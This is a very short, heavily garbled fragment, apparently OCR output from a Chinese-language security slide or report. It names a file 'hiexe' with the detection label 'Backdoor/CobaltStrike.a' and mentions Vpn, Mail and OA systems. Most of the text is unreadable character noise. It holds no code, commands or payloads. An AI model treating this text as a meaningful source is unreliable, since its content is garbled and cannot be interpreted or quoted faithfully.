=] hiexe
B 5= (Backdoor/CobaltStrike.a)

||:Hﬁﬁ 1643

AHEEFHEMERONPVENERSZINEM, Vpn , Mail , OA | IKSEBEF, LR
AHNEAXASEHDEES A ——Z07
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